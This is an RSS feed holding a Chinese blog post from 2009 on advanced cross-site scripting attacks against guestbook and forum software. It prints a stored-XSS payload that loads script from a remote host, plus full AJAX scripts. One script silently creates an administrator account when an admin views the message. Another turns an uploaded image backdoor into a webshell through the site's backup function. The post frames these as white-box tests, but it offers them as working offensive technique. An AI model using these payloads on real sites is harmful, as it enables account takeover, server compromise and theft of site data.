<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>lixiaopeng&#039;s blog &#187; 会话劫持</title>
	<atom:link href="http://www.lixiaopeng.org/tag/%e4%bc%9a%e8%af%9d%e5%8a%ab%e6%8c%81/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.lixiaopeng.org</link>
	<description>这个世界好YD!</description>
	<lastBuildDate>Wed, 14 Jul 2010 21:21:08 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.9.2</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>xss的高级利用</title>
		<link>http://www.lixiaopeng.org/xss-advanced-use-of/</link>
		<comments>http://www.lixiaopeng.org/xss-advanced-use-of/#comments</comments>
		<pubDate>Wed, 14 Oct 2009 06:14:40 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[入侵]]></category>
		<category><![CDATA[XSS]]></category>
		<category><![CDATA[会话劫持]]></category>
		<category><![CDATA[挂马]]></category>
		<category><![CDATA[浏览器劫持]]></category>
		<category><![CDATA[盗cookie]]></category>
		<category><![CDATA[钓鱼]]></category>

		<guid isPermaLink="false">http://www.lixiaopeng.org/?p=1303</guid>
		<description><![CDATA[作者:cnryan
来源:http://hi.baidu.com/cnryan
      以往对XSS的利用大多数都是针对于挂马，钓鱼，盗cookie等，这些方式并没有真正发挥到XSS的作用，因为很少人能了解XSS的实质，会话劫持，浏览器劫持，XSS能做到的东西远远超乎我们的想象。
一 XSS下提升权限
       随着AJAX技术在许多大型SNS网站的应用，XSS也变得愈加流行，在XSS场景下运用AJAX能更有效地发挥它的作用。
用户输入的地方最容易滋生XSS，譬如留言、评论等表单，我搭建了一个sdbook的留言本，因为sdbook没有对用户输入的变量作出合适的过滤，导致一个XSS的产生。
    留言率先传递给管理员，当作javascript劫持，我们就可以利用管理员的权限做任何事情，例如添加一个管理员。

在留言内容输入跨站代码：

1
&#60;script&#62;s=document.createElement&#40;&#34;script&#34;&#41;;s.src=&#34;http://www.xss.com/xss.js&#34;;document.getElementsByTagName&#40;&#34;head&#34;&#41;&#91;0&#93;.appendChild&#40;s&#41;;&#60;/script&#62;

这段代码用来加载远程的JS，而xss.js的内容是利用xmlHttp对象发送一个异步请求，通过XMLHTTP无刷新提交到服务器端，模拟添加一个管理员。
先用Firebug监视网络传输的情况，主要是获取添加admin时post的数据。

然后构造ajax代码
xss.js代码：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
var request = false;
if&#40;window.XMLHttpRequest&#41; &#123;
request = new XMLHttpRequest&#40;&#41;;
if&#40;request.overrideMimeType&#41; &#123;
request.overrideMimeType&#40;'text/xml'&#41;;
&#125;
&#125; else if&#40;window.ActiveXObject&#41; &#123;
var versions = &#91;'Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0','Msxml2.XMLHTTP.6.0','Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'&#93;;
for&#40;var i=0; i&#60;versions.length; i++&#41; &#123;
try &#123;
request = new ActiveXObject&#40;versions&#91;i&#93;&#41;;
&#125; catch&#40;e&#41; &#123;&#125;
&#125;
&#125;
xmlhttp=request; 
&#160;
add_admin&#40;&#41;; 
function add_admin&#40;&#41;&#123;
var url=&#34;/sdbook/admin/AdminUser/adminUser_Add.asp&#34;;
var params =&#34;UserName=cnryan&#38;password1=123456&#38;password2=123456Purview=%B9%DC%C0%ED%D4%B1&#38;Submit=%CC%E1%BD%BB&#34;; [...]]]></description>
			<content:encoded><![CDATA[<p>作者:cnryan<br />
来源:http://hi.<a href="http://www.baidu.com"  class="alinks_links" onclick="return alinks_click(this);" title="baidu"  style="padding-right: 13px; background: url(http://www.lixiaopeng.org/wp-content/plugins/alinks/images/external.png) center right no-repeat;" rel="external">baidu</a>.com/cnryan</p>
<p>      以往对XSS的利用大多数都是针对于挂马，钓鱼，盗cookie等，这些方式并没有真正发挥到XSS的作用，因为很少人能了解XSS的实质，会话劫持，浏览器劫持，XSS能做到的东西远远超乎我们的想象。</p>
<p>一 XSS下提升权限<br />
       随着AJAX技术在许多大型SNS网站的应用，XSS也变得愈加流行，在XSS场景下运用AJAX能更有效地发挥它的作用。<br />
用户输入的地方最容易滋生XSS，譬如留言、评论等表单，我搭建了一个sdbook的留言本，因为sdbook没有对用户输入的变量作出合适的过滤，导致一个XSS的产生。<br />
    留言率先传递给管理员，当作javascript劫持，我们就可以利用管理员的权限做任何事情，例如添加一个管理员。</p>
<p><a href="http://www.lixiaopeng.org/blog/wp-content/uploads/2009/10/xss-advanced-use-of1.jpg"><img src="http://www.lixiaopeng.org/blog/wp-content/uploads/2009/10/xss-advanced-use-of1.jpg" alt="xss-advanced-use-of1" title="xss-advanced-use-of1" width="564" height="417" class="alignnone size-full wp-image-267" /></a></p>
<p>在留言内容输入跨站代码：</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
</pre></td><td class="code"><pre class="javascript" style="font-family:monospace;"><span style="color: #339933;">&lt;</span>script<span style="color: #339933;">&gt;</span>s<span style="color: #339933;">=</span>document.<span style="color: #660066;">createElement</span><span style="color: #009900;">&#40;</span><span style="color: #3366CC;">&quot;script&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>s.<span style="color: #660066;">src</span><span style="color: #339933;">=</span><span style="color: #3366CC;">&quot;http://www.xss.com/xss.js&quot;</span><span style="color: #339933;">;</span>document.<span style="color: #660066;">getElementsByTagName</span><span style="color: #009900;">&#40;</span><span style="color: #3366CC;">&quot;head&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#91;</span><span style="color: #CC0000;">0</span><span style="color: #009900;">&#93;</span>.<span style="color: #660066;">appendChild</span><span style="color: #009900;">&#40;</span>s<span style="color: #009900;">&#41;</span><span style="color: #339933;">;&lt;/</span>script<span style="color: #339933;">&gt;</span></pre></td></tr></table></div>

<p>这段代码用来加载远程的JS，而xss.js的内容是利用xmlHttp对象发送一个异步请求，通过XMLHTTP无刷新提交到服务器端，模拟添加一个管理员。</p>
<p>先用Firebug监视网络传输的情况，主要是获取添加admin时post的数据。</p>
<p><a href="http://www.lixiaopeng.org/blog/wp-content/uploads/2009/10/xss-advanced-use-of2.jpg"><img src="http://www.lixiaopeng.org/blog/wp-content/uploads/2009/10/xss-advanced-use-of2.jpg" alt="xss-advanced-use-of2" title="xss-advanced-use-of2" width="753" height="183" class="alignnone size-full wp-image-268" /></a></p>
<p>然后构造ajax代码<br />
xss.js代码：</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
</pre></td><td class="code"><pre class="javascript" style="font-family:monospace;"><span style="color: #003366; font-weight: bold;">var</span> request <span style="color: #339933;">=</span> <span style="color: #003366; font-weight: bold;">false</span><span style="color: #339933;">;</span>
<span style="color: #000066; font-weight: bold;">if</span><span style="color: #009900;">&#40;</span>window.<span style="color: #660066;">XMLHttpRequest</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
request <span style="color: #339933;">=</span> <span style="color: #003366; font-weight: bold;">new</span> XMLHttpRequest<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #000066; font-weight: bold;">if</span><span style="color: #009900;">&#40;</span>request.<span style="color: #660066;">overrideMimeType</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
request.<span style="color: #660066;">overrideMimeType</span><span style="color: #009900;">&#40;</span><span style="color: #3366CC;">'text/xml'</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #009900;">&#125;</span>
<span style="color: #009900;">&#125;</span> <span style="color: #000066; font-weight: bold;">else</span> <span style="color: #000066; font-weight: bold;">if</span><span style="color: #009900;">&#40;</span>window.<span style="color: #660066;">ActiveXObject</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
<span style="color: #003366; font-weight: bold;">var</span> versions <span style="color: #339933;">=</span> <span style="color: #009900;">&#91;</span><span style="color: #3366CC;">'Microsoft.XMLHTTP'</span><span style="color: #339933;">,</span> <span style="color: #3366CC;">'MSXML.XMLHTTP'</span><span style="color: #339933;">,</span> <span style="color: #3366CC;">'Microsoft.XMLHTTP'</span><span style="color: #339933;">,</span> <span style="color: #3366CC;">'Msxml2.XMLHTTP.7.0'</span><span style="color: #339933;">,</span><span style="color: #3366CC;">'Msxml2.XMLHTTP.6.0'</span><span style="color: #339933;">,</span><span style="color: #3366CC;">'Msxml2.XMLHTTP.5.0'</span><span style="color: #339933;">,</span> <span style="color: #3366CC;">'Msxml2.XMLHTTP.4.0'</span><span style="color: #339933;">,</span> <span style="color: #3366CC;">'MSXML2.XMLHTTP.3.0'</span><span style="color: #339933;">,</span> <span style="color: #3366CC;">'MSXML2.XMLHTTP'</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">;</span>
<span style="color: #000066; font-weight: bold;">for</span><span style="color: #009900;">&#40;</span><span style="color: #003366; font-weight: bold;">var</span> i<span style="color: #339933;">=</span><span style="color: #CC0000;">0</span><span style="color: #339933;">;</span> i<span style="color: #339933;">&lt;</span>versions.<span style="color: #660066;">length</span><span style="color: #339933;">;</span> i<span style="color: #339933;">++</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
<span style="color: #000066; font-weight: bold;">try</span> <span style="color: #009900;">&#123;</span>
request <span style="color: #339933;">=</span> <span style="color: #003366; font-weight: bold;">new</span> ActiveXObject<span style="color: #009900;">&#40;</span>versions<span style="color: #009900;">&#91;</span>i<span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #009900;">&#125;</span> <span style="color: #000066; font-weight: bold;">catch</span><span style="color: #009900;">&#40;</span>e<span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span><span style="color: #009900;">&#125;</span>
<span style="color: #009900;">&#125;</span>
<span style="color: #009900;">&#125;</span>
xmlhttp<span style="color: #339933;">=</span>request<span style="color: #339933;">;</span> 
&nbsp;
add_admin<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> 
<span style="color: #003366; font-weight: bold;">function</span> add_admin<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span>
<span style="color: #003366; font-weight: bold;">var</span> url<span style="color: #339933;">=</span><span style="color: #3366CC;">&quot;/sdbook/admin/AdminUser/adminUser_Add.asp&quot;</span><span style="color: #339933;">;</span>
<span style="color: #003366; font-weight: bold;">var</span> params <span style="color: #339933;">=</span><span style="color: #3366CC;">&quot;UserName=cnryan&amp;password1=123456&amp;password2=123456Purview=%B9%DC%C0%ED%D4%B1&amp;Submit=%CC%E1%BD%BB&quot;</span><span style="color: #339933;">;</span>   
xmlhttp.<span style="color: #000066;">open</span><span style="color: #009900;">&#40;</span><span style="color: #3366CC;">&quot;POST&quot;</span><span style="color: #339933;">,</span> url<span style="color: #339933;">,</span> <span style="color: #003366; font-weight: bold;">true</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> 
xmlhttp.<span style="color: #660066;">setRequestHeader</span><span style="color: #009900;">&#40;</span><span style="color: #3366CC;">&quot;Content-type&quot;</span><span style="color: #339933;">,</span> <span style="color: #3366CC;">&quot;application/x-www-form-urlencoded&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
xmlhttp.<span style="color: #660066;">setRequestHeader</span><span style="color: #009900;">&#40;</span><span style="color: #3366CC;">&quot;Content-length&quot;</span><span style="color: #339933;">,</span> params.<span style="color: #660066;">length</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
xmlhttp.<span style="color: #660066;">setRequestHeader</span><span style="color: #009900;">&#40;</span><span style="color: #3366CC;">&quot;Connection&quot;</span><span style="color: #339933;">,</span> <span style="color: #3366CC;">&quot;close&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
xmlhttp.<span style="color: #660066;">send</span><span style="color: #009900;">&#40;</span>params<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #009900;">&#125;</span></pre></td></tr></table></div>

<p>       当admin查看带有XSS的留言时，就会在后台悄悄地添加一个管理员，帐户为cnryan,密码是123456，最后我们就能获得整个网站用户的最高权限。</p>
<p>再来了解下这个留言本的场景，最初只有admin可以查看留言，也就只有admin受到XSS，当内容通过审核，发布到网站，此时所有的web浏览用户都有可能受到XSS，我们能获得更多的会话劫持，利用这些会话甚至可能对服务器发起XSS DOS。 </p>
<p>二 XSS获取webshell</p>
<p>       为什么要用AJAX，首先它够隐秘，也就是所谓的“无刷新”，其次，它能更有效地迅速处理各种复杂多变的数据。</p>
<p>了解到以上例子的流程与代码，你是否会有不一样的想法呢？<br />
       我们不防想一想如何把网站的webshell拿下。</p>
<p>这里有两点必要的条件，前者是在其后台要有一定拿shell的功能，如备份数据库，向配置信息插马等，后者是我们要知道如网站路径，默认数据库等信息，对于许多网站都是存在这些缺陷的。</p>
<p><a href="http://www.lixiaopeng.org/blog/wp-content/uploads/2009/10/xss-advanced-use-of3.jpg"><img src="http://www.lixiaopeng.org/blog/wp-content/uploads/2009/10/xss-advanced-use-of3.jpg" alt="xss-advanced-use-of3" title="xss-advanced-use-of3" width="586" height="123" class="alignnone size-full wp-image-269" /></a></p>
<p>        以备份数据库拿webshell为例，这个站点有上传头像的权限，并记录我们的地址：UploadFace\20090901.jpg，图片写有后门，然后在白盒的测试环境下记录POST的数据，构造AJAX代码写入远程的JS，最后在该站的XSS点植入JS。</p>
<p>其代码如下：</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
</pre></td><td class="code"><pre class="javascript" style="font-family:monospace;"><span style="color: #003366; font-weight: bold;">var</span> request <span style="color: #339933;">=</span> <span style="color: #003366; font-weight: bold;">false</span><span style="color: #339933;">;</span>
<span style="color: #000066; font-weight: bold;">if</span><span style="color: #009900;">&#40;</span>window.<span style="color: #660066;">XMLHttpRequest</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
request <span style="color: #339933;">=</span> <span style="color: #003366; font-weight: bold;">new</span> XMLHttpRequest<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #000066; font-weight: bold;">if</span><span style="color: #009900;">&#40;</span>request.<span style="color: #660066;">overrideMimeType</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
request.<span style="color: #660066;">overrideMimeType</span><span style="color: #009900;">&#40;</span><span style="color: #3366CC;">'text/xml'</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #009900;">&#125;</span>
<span style="color: #009900;">&#125;</span> <span style="color: #000066; font-weight: bold;">else</span> <span style="color: #000066; font-weight: bold;">if</span><span style="color: #009900;">&#40;</span>window.<span style="color: #660066;">ActiveXObject</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
<span style="color: #003366; font-weight: bold;">var</span> versions <span style="color: #339933;">=</span> <span style="color: #009900;">&#91;</span><span style="color: #3366CC;">'Microsoft.XMLHTTP'</span><span style="color: #339933;">,</span> <span style="color: #3366CC;">'MSXML.XMLHTTP'</span><span style="color: #339933;">,</span> <span style="color: #3366CC;">'Microsoft.XMLHTTP'</span><span style="color: #339933;">,</span> <span style="color: #3366CC;">'Msxml2.XMLHTTP.7.0'</span><span style="color: #339933;">,</span><span style="color: #3366CC;">'Msxml2.XMLHTTP.6.0'</span><span style="color: #339933;">,</span><span style="color: #3366CC;">'Msxml2.XMLHTTP.5.0'</span><span style="color: #339933;">,</span> <span style="color: #3366CC;">'Msxml2.XMLHTTP.4.0'</span><span style="color: #339933;">,</span> <span style="color: #3366CC;">'MSXML2.XMLHTTP.3.0'</span><span style="color: #339933;">,</span> <span style="color: #3366CC;">'MSXML2.XMLHTTP'</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">;</span>
<span style="color: #000066; font-weight: bold;">for</span><span style="color: #009900;">&#40;</span><span style="color: #003366; font-weight: bold;">var</span> i<span style="color: #339933;">=</span><span style="color: #CC0000;">0</span><span style="color: #339933;">;</span> i<span style="color: #339933;">&lt;</span>versions.<span style="color: #660066;">length</span><span style="color: #339933;">;</span> i<span style="color: #339933;">++</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
<span style="color: #000066; font-weight: bold;">try</span> <span style="color: #009900;">&#123;</span>
request <span style="color: #339933;">=</span> <span style="color: #003366; font-weight: bold;">new</span> ActiveXObject<span style="color: #009900;">&#40;</span>versions<span style="color: #009900;">&#91;</span>i<span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #009900;">&#125;</span> <span style="color: #000066; font-weight: bold;">catch</span><span style="color: #009900;">&#40;</span>e<span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span><span style="color: #009900;">&#125;</span>
<span style="color: #009900;">&#125;</span>
<span style="color: #009900;">&#125;</span>
xmlhttp<span style="color: #339933;">=</span>request<span style="color: #339933;">;</span> 
&nbsp;
getshell<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> 
<span style="color: #003366; font-weight: bold;">function</span> getshell<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span>
<span style="color: #003366; font-weight: bold;">var</span> postStr <span style="color: #339933;">=</span><span style="color: #3366CC;">&quot;DBpath=UploadFace%5C20090901.jpg&amp;bkfolder=Databackup&amp;bkDBname=shell.asp&quot;</span><span style="color: #339933;">;</span>   
xmlhttp.<span style="color: #000066;">open</span><span style="color: #009900;">&#40;</span><span style="color: #3366CC;">&quot;POST&quot;</span><span style="color: #339933;">,</span> <span style="color: #3366CC;">&quot;/ADMIN_data.asp?action=BackupData&amp;act=Backup&quot;</span><span style="color: #339933;">,</span> <span style="color: #003366; font-weight: bold;">true</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> 
xmlhttp.<span style="color: #660066;">setRequestHeader</span><span style="color: #009900;">&#40;</span><span style="color: #3366CC;">&quot;Content-type&quot;</span><span style="color: #339933;">,</span> <span style="color: #3366CC;">&quot;application/x-www-form-urlencoded&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
xmlhttp.<span style="color: #660066;">setRequestHeader</span><span style="color: #009900;">&#40;</span><span style="color: #3366CC;">&quot;Content-length&quot;</span><span style="color: #339933;">,</span> postStr.<span style="color: #660066;">length</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
xmlhttp.<span style="color: #660066;">setRequestHeader</span><span style="color: #009900;">&#40;</span><span style="color: #3366CC;">&quot;Connection&quot;</span><span style="color: #339933;">,</span> <span style="color: #3366CC;">&quot;close&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
xmlhttp.<span style="color: #660066;">send</span><span style="color: #009900;">&#40;</span>postStr<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #009900;">&#125;</span></pre></td></tr></table></div>

<p>     上述代码是我测试一个开源程序写的，不同的程序不尽相同，但大体相似。<br />
getshell()函数的作用就是把UploadFace\20090901.jpg备份为Databackup目录下的shell.asp。</p>
<p><a href="http://www.lixiaopeng.org/blog/wp-content/uploads/2009/10/xss-advanced-use-of4.jpg"><img src="http://www.lixiaopeng.org/blog/wp-content/uploads/2009/10/xss-advanced-use-of4.jpg" alt="xss-advanced-use-of4" title="xss-advanced-use-of4" width="394" height="160" class="alignnone size-full wp-image-270" /></a></p>
<p>一切利用的前提就是该站具有XSS，并能成功把构造代码注入到后台，只要管理员不经意触发了这个xss Trap，我们就能拿到webshell。</p>
<p>三 基于开源的Xss Hacking</p>
<p>       以上事例都是在针对于白盒环境下测试的，很多问题都是基于理论的，在真实环境下利用XSS渗透是会有一定的难度，但仍是有办法的，XSS的核心在于灵活多变，这也是它倍受追捧的原因，关于XSS渗透可以去看jianxin的文章。</p>
<p>XSS热潮已至，相信各位渗透师，跨站师们势必会把XSS的威力发挥到极致。</p>
<p>相关资料：</p>
<p>http://www.80sec.com/xss-how-to-root.html</p>
<p>http://www.80sec.com/browser-hijacking.html</p>
<p>http://hi.baidu.com/aullik5/blog/item/6947261e7eaeaac0a7866913.html</p>
<h3  class="related_post_title">您可能对以下文章有兴趣↓</h3><ul class="related_post"><li><a href="http://www.lixiaopeng.org/wordpress-2-8-all-version-xss-0day/" title="Wordpress 2.8 All Version Xss 0DAY">Wordpress 2.8 All Version Xss 0DAY</a></li><li><a href="http://www.lixiaopeng.org/txtguama/" title="好玩的TXT挂马">好玩的TXT挂马</a></li><li><a href="http://www.lixiaopeng.org/dvbbs-showasp-strict-filtering-page-lead-to-cross-site-flaws/" title="动网论坛(DVBBS)Show.asp页面过滤不严导致跨站漏洞">动网论坛(DVBBS)Show.asp页面过滤不严导致跨站漏洞</a></li><li><a href="http://www.lixiaopeng.org/system-pjblog-personal-blog-page-getarticleasp-loopholes-in-cross-site-scripting-attack/" title="PJBlog个人博客系统Getarticle.asp页面跨站脚本攻击漏洞">PJBlog个人博客系统Getarticle.asp页面跨站脚本攻击漏洞</a></li><li><a href="http://www.lixiaopeng.org/iframe-link-with-anti-ma-ma/" title="iframe的挂马与防马">iframe的挂马与防马</a></li><li><a href="http://www.lixiaopeng.org/xss-code-to-insert-the-specific-methods/" title="插入XSS代码的具体方法">插入XSS代码的具体方法</a></li><li><a href="http://www.lixiaopeng.org/ah-can-i-owe-you/" title="丫,难道我欠你的?">丫,难道我欠你的?</a></li><li><a href="http://www.lixiaopeng.org/fishing-is-a-dnf/" title="又是DNF钓鱼">又是DNF钓鱼</a></li><li><a href="http://www.lixiaopeng.org/dnf-fishing/" title="DNF钓鱼">DNF钓鱼</a></li><li><a href="http://www.lixiaopeng.org/with-regard-to-phishing-attacks/" title="关于钓鱼式攻击 ">关于钓鱼式攻击 </a></li></ul>]]></content:encoded>
			<wfw:commentRss>http://www.lixiaopeng.org/xss-advanced-use-of/feed/</wfw:commentRss>
		<slash:comments>210</slash:comments>
		</item>
	</channel>
</rss>
